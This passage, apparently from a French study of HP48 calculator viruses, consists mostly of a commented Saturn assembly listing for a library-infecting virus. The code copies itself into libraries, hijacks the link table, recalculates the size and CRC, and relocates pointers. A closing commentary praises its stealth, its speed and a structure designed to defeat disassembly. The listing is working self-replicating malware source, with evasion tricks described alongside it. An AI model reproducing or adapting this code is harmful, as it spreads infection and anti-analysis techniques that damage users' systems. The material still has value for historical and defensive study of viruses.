DAT1=A 7      /* en fin de librairie.
AD1EX              
D1=A
R0=A
A=PC
GOINC deb
A=A+C A
D0=A
D0=D0- 15
GOSUB setc
C=C- 8

*CopyVir            /* Cette boucle recopie le virus
A=DAT0 1            /* vers la fin de la librairie, après
DAT1=A 1            /* la zone d’identification écrite auparavant
D0=D0+ 1
D1=D1+ 1
C=C-1 A
GONC CopyVir

D0= 80323
A=DAT0 A
GOSUB setc
A+A-C A
R3=A
D0=A
C=R0
C=C-A A             /* Modifie la Link Table
DAT0=C A            /* en remplaçant l’offset vers le programme sain
                    /* par celui vers sa copie infectée
A=PC               
GOINC saut
A+A+C A
A=A-B A
C=R0
A=A+C A
D0=A
D0=D0+ 15
A=R2
CD0EX
A=A-C A
D0=C
D0=D0+ 2      /* Modifie l’offset de saut vers le programme infecté
DAT0=A A      /* dans la nouvelle copie du virus

A=R1
D0=A
GOSUB idl->szl            /* Recalcul la taille de la librairie modifiée
GOSUB setc         
A=DAT0 A

A=A+C A
DAT0=A A      /* Remplace l’ancienne taille par la nouvelle.
D0=D0- 5      /* Recalcul le CRC de la librairie en appelant
GOSBVL 0A01C  /* un code situé en ROM à l’adresse #A01C

C=0 A              
C=DAT0 4     
C=C+A A
DAT0=C 4      /* puis réécrit ce CRC à la place de l’ancien

D0=D0+ 4
AD0EX
R1=A
D0= 809A3     /* Adresse d’une zone de pointeurs pointant sur
A=DAT0 X      /* toutes les librairies existantes sur la HP48
B=A A  
D0=D0+ 3

*LOOP1        /* Cette boucle parcourt tout les pointeurs de librairie
AD0EX         /* et les décale si la librairie pointée était dans
D1=A          /* la zone mémoire qui a été translaté
D0=A
D0=D0+ 16
B=B-1 X       /* Si tout les pointeurs ont été examinés,
GOC home      /* on va à *home

D1=D1+ 8
A=DAT1 A
?A<>0 A             /* Est-ce une librairie système ?
GOYES loop1         /* si oui, va à *loop1

D1=D1- 5
A=DAT1 A
GOSUB test          /* test regarde si la librairie utilisateur
GONC loop1          /* était dans la zone translatée

GOSUB moins         /* Si oui, on décale le pointeur
GOTO loop1

*home               /* Autre série de pointeurs à décaler : ceux
D1= 80711           /* contenus dans le répertoire maître pour
C=DAT1 A            /* identifier les librairies qui lui sont attachées
D1=C
D1=D1+ 5
C=DAT1 X
B=C A
D1=D1+ 6

*loop2
B=B-1 X             /* si tout les pointeurs ont été examinés,
GOC sortie          /* on quitte le code : on va vers *sortie

A=DAT1 A
GOSUB test
GONC a21
GOSUB moins
*a21                /* il y a plusieurs types de pointeurs
D1=D1+ 5            /* à tester, dirigés vers la Hash Table,
A=DAT1 A            /* le Message Array, et le dernier objet
GOSUB test          /* de la librairie
GONC a22
GOSUB moins
*a22
D1=D1+ 8
GOTO loop2

*sortie       /* Le virus a finit son exécution : il faut désormais
A=PC          /* exécuter le programme infecté
*saut  
LCHEX 00074   /* Ce code n’étant pas en situation d’infection,
C=C+5 A       /* il n’a pas de programme à exécuter, et se contente
*exit         /* de sortir sur un programme vide
A=A+C A
GOSBVL 067D2
D0=A
GOSBVL 2D564  /* Sortie



*test               /* Teste si un la librairie pointée
CD0EX               /* était dans la zone translatée
R3=C
D0= 80716
C=DAT0 A
D=C A
C=R3
D0=C
C=D A
?C=<A A
GOYES toto
RTNCC
*toto
C=R1
?C>A A
RTNYES
RTNCC

*idl->szl           /* Sous-programme qui déplace le pointeur
D0=D0- 2            /* D0 vers le début de la librairie
A=0 A               /* lorsque celui ci pointe sur son numéro
A=DAT0 B
A=A+A A
CD0EX
C=C-A A
D0=C
D0=D0- 7
RTN

*moins        /* Décale un pointeur vers une librairie
A=DAT1 A      /* translatée
GOSUB SETC
A=A-C A
DAT1=A A
RTN

*setc         /* Charge la taille du virus dans le registre C champ A
LCHEX 0041F
RTN












3.4.         Commentaires sur ce virus

Ce virus est déjà de bien meilleur qualité que le précèdent. Son temps de réplication est d’environ une demi seconde, et les nombreux tests effectués permettent d’assurer une plus grande discrétion, notamment en évitant de produire des erreurs qui le trahiraient. De plus, il possède une structure volontairement aberrante qui n’est pas celle d’un objet code classique de la HP48, puisqu’il possède une séquence d’instructions en RPL étendu. De ce fait, il est impossible d’utiliser un désassembleur automatique pour l’éditer : il faudrait faire ce travail à la main. Quand bien même quelqu’un réussirait à le décoder, ce virus profite de nombreuses astuces de programmation qui rendent sa compréhension très délicate. Cependant, ces acrobaties de programmation sont justifiées avant tout par une volonté de réduire au maximum la taille du virus.
Sa taille de 514 octets n’est pas négligeable, sachant que la taille moyenne d’une librairie oscille entre 5 et 10 Ko, mais on se rendra compte à travers d’autre exemples qu’il est difficile d’écrire un virus pour librairie d taille inférieure. De plus, il reste quelques bugs de programmations, qui se produisent lorsqu’il y a superposition de modules mémoires, car alors, le système de la HP48 décale virtuellement certains modules de mémoires, ce qui pose des problèmes dans le calcul des adresses de retour. Mais une telle configuration se produit rarement. Enfin, un scanner viendrait immédiatement à bout de ce virus, qui en plus est facile à désinstaller. Sa stratégie de défense consiste en fait à se faire le plus discret possible.
On se rend  ainsi compte de la difficulté qu’il y a à programmer des virus en assembleurs : il faut une connaissance très détaillée du fonctionnement de la machine. De plus, la programmation en langage machine, comme l’aspect du listing le laisse deviner, est extrêmement délicate à mettre en œuvre. Il faut écrire l’organigramme détaillé du programme avant de le réaliser, et la recherche des erreurs est très fastidieuse.